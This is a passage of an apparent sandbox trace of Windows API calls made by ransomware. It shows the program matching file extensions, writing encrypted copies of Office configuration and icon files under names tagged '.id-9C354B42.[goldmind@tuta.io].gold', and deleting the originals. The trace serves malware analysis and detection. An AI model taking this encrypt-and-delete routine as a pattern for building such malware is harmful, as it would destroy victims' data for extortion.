(lpString1=".ppt", lpString2=".CFG") returned 1 [0115.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.947] lstrlenW (lpString=".zip") returned 4 [0115.947] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.947] lstrlenW (lpString=".rar") returned 4 [0115.947] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.947] lstrlenW (lpString=".bz2") returned 4 [0115.947] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.947] lstrlenW (lpString=".7z") returned 3 [0115.947] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.947] lstrlenW (lpString=".dbf") returned 4 [0115.947] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.947] lstrlenW (lpString=".1cd") returned 4 [0115.947] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned 66 [0115.947] lstrlenW (lpString=".jpg") returned 4 [0115.947] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.947] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.947] lstrlenW (lpString="SECREC.CFG") returned 10 [0115.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.949] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=664) returned 1 [0115.949] CloseHandle (hObject=0x38c) returned 1 [0115.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg")) returned 0x20 [0115.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.949] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.949] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.950] GetLastError () returned 0x0 [0115.950] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x298, lpOverlapped=0x0) returned 1 [0115.952] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0115.953] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.953] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0115.953] SetEndOfFile (hFile=0x188) returned 1 [0115.953] CloseHandle (hObject=0x188) returned 1 [0115.953] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.953] SetEndOfFile (hFile=0x38c) returned 1 [0115.955] CloseHandle (hObject=0x38c) returned 1 [0115.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg")) returned 1 [0115.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.956] lstrlenW (lpString=".doc") returned 4 [0115.956] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.956] lstrlenW (lpString=".docx") returned 5 [0115.956] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0115.956] lstrlenW (lpString=".pdf") returned 4 [0115.956] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.956] lstrlenW (lpString=".xls") returned 4 [0115.956] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.956] lstrlenW (lpString=".xlsx") returned 5 [0115.956] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0115.956] lstrlenW (lpString=".ppt") returned 4 [0115.956] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.956] lstrlenW (lpString=".zip") returned 4 [0115.957] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString=".rar") returned 4 [0115.957] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString=".bz2") returned 4 [0115.957] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.957] lstrlenW (lpString=".7z") returned 3 [0115.957] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.957] lstrlenW (lpString=".dbf") returned 4 [0115.957] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.957] lstrlenW (lpString=".1cd") returned 4 [0115.957] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.957] lstrlenW (lpString=".jpg") returned 4 [0115.957] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.957] lstrlenW (lpString=".doc") returned 4 [0115.957] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString=".docx") returned 5 [0115.957] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0115.957] lstrlenW (lpString=".pdf") returned 4 [0115.957] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString=".xls") returned 4 [0115.957] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString=".xlsx") returned 5 [0115.957] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0115.957] lstrlenW (lpString=".ppt") returned 4 [0115.957] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.957] lstrlenW (lpString=".zip") returned 4 [0115.957] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString=".rar") returned 4 [0115.957] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString=".bz2") returned 4 [0115.957] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.957] lstrlenW (lpString=".7z") returned 3 [0115.957] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.957] lstrlenW (lpString=".dbf") returned 4 [0115.957] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.957] lstrlenW (lpString=".1cd") returned 4 [0115.957] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned 64 [0115.957] lstrlenW (lpString=".jpg") returned 4 [0115.957] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.958] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.958] lstrlenW (lpString="SECRECL.ICO") returned 11 [0115.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.958] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1078) returned 1 [0115.958] CloseHandle (hObject=0x38c) returned 1 [0115.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico")) returned 0x20 [0115.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.959] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.959] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.960] GetLastError () returned 0x0 [0115.960] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x436, lpOverlapped=0x0) returned 1 [0116.048] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x440, lpOverlapped=0x0) returned 1 [0116.048] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.048] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0116.048] SetEndOfFile (hFile=0x188) returned 1 [0116.048] CloseHandle (hObject=0x188) returned 1 [0116.048] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.048] SetEndOfFile (hFile=0x38c) returned 1 [0116.050] CloseHandle (hObject=0x38c) returned 1 [0116.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico")) returned 1 [0116.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.058] lstrlenW (lpString=".doc") returned 4 [0116.059] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.059] lstrlenW (lpString=".docx") returned 5 [0116.059] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.059] lstrlenW (lpString=".pdf") returned 4 [0116.059] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.059] lstrlenW (lpString=".xls") returned 4 [0116.059] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.059] lstrlenW (lpString=".xlsx") returned 5 [0116.059] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.059] lstrlenW (lpString=".ppt") returned 4 [0116.059] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.059] lstrlenW (lpString=".zip") returned 4 [0116.059] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.059] lstrlenW (lpString=".rar") returned 4 [0116.059] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.059] lstrlenW (lpString=".bz2") returned 4 [0116.059] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.059] lstrlenW (lpString=".7z") returned 3 [0116.059] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.059] lstrlenW (lpString=".dbf") returned 4 [0116.059] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.059] lstrlenW (lpString=".1cd") returned 4 [0116.059] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.059] lstrlenW (lpString=".jpg") returned 4 [0116.059] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.059] lstrlenW (lpString=".doc") returned 4 [0116.059] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.059] lstrlenW (lpString=".docx") returned 5 [0116.059] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.059] lstrlenW (lpString=".pdf") returned 4 [0116.059] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.059] lstrlenW (lpString=".xls") returned 4 [0116.059] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.060] lstrlenW (lpString=".xlsx") returned 5 [0116.060] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.060] lstrlenW (lpString=".ppt") returned 4 [0116.060] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.060] lstrlenW (lpString=".zip") returned 4 [0116.060] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.060] lstrlenW (lpString=".rar") returned 4 [0116.060] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.060] lstrlenW (lpString=".bz2") returned 4 [0116.060] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.060] lstrlenW (lpString=".7z") returned 3 [0116.060] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.060] lstrlenW (lpString=".dbf") returned 4 [0116.060] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.060] lstrlenW (lpString=".1cd") returned 4 [0116.060] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO") returned 65 [0116.060] lstrlenW (lpString=".jpg") returned 4 [0116.060] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.060] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0116.060] lstrlenW (lpString="SHARING.CFG") returned 11 [0116.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.061] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=771) returned 1 [0116.061] CloseHandle (hObject=0x38c) returned 1 [0116.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg")) returned 0x20 [0116.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.061] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.061] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.062] GetLastError () returned 0x0 [0116.062] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x303, lpOverlapped=0x0) returned 1 [0116.072] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x310, lpOverlapped=0x0) returned 1 [0116.073] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.073] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0116.073] SetEndOfFile (hFile=0x188) returned 1 [0116.073] CloseHandle (hObject=0x188) returned 1 [0116.073] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.073] SetEndOfFile (hFile=0x38c) returned 1 [0116.075] CloseHandle (hObject=0x38c) returned 1 [0116.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg")) returned 1 [0116.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.283] lstrlenW (lpString=".doc") returned 4 [0116.283] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString=".docx") returned 5 [0116.283] lstrcmpiW (lpString1=".docx", lpString2="G.CFG") returned -1 [0116.283] lstrlenW (lpString=".pdf") returned 4 [0116.283] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString=".xls") returned 4 [0116.283] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString=".xlsx") returned 5 [0116.283] lstrcmpiW (lpString1=".xlsx", lpString2="G.CFG") returned -1 [0116.283] lstrlenW (lpString=".ppt") returned 4 [0116.283] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.283] lstrlenW (lpString=".zip") returned 4 [0116.283] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString=".rar") returned 4 [0116.283] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString=".bz2") returned 4 [0116.283] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.283] lstrlenW (lpString=".7z") returned 3 [0116.283] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.283] lstrlenW (lpString=".dbf") returned 4 [0116.283] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.283] lstrlenW (lpString=".1cd") returned 4 [0116.283] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.283] lstrlenW (lpString=".jpg") returned 4 [0116.283] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.283] lstrlenW (lpString=".doc") returned 4 [0116.283] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString=".docx") returned 5 [0116.283] lstrcmpiW (lpString1=".docx", lpString2="G.CFG") returned -1 [0116.283] lstrlenW (lpString=".pdf") returned 4 [0116.283] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString=".xls") returned 4 [0116.283] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString=".xlsx") returned 5 [0116.283] lstrcmpiW (lpString1=".xlsx", lpString2="G.CFG") returned -1 [0116.283] lstrlenW (lpString=".ppt") returned 4 [0116.283] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.283] lstrlenW (lpString=".zip") returned 4 [0116.283] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.283] lstrlenW (lpString=".rar") returned 4 [0116.283] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.284] lstrlenW (lpString=".bz2") returned 4 [0116.284] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.284] lstrlenW (lpString=".7z") returned 3 [0116.284] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.284] lstrlenW (lpString=".dbf") returned 4 [0116.284] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.284] 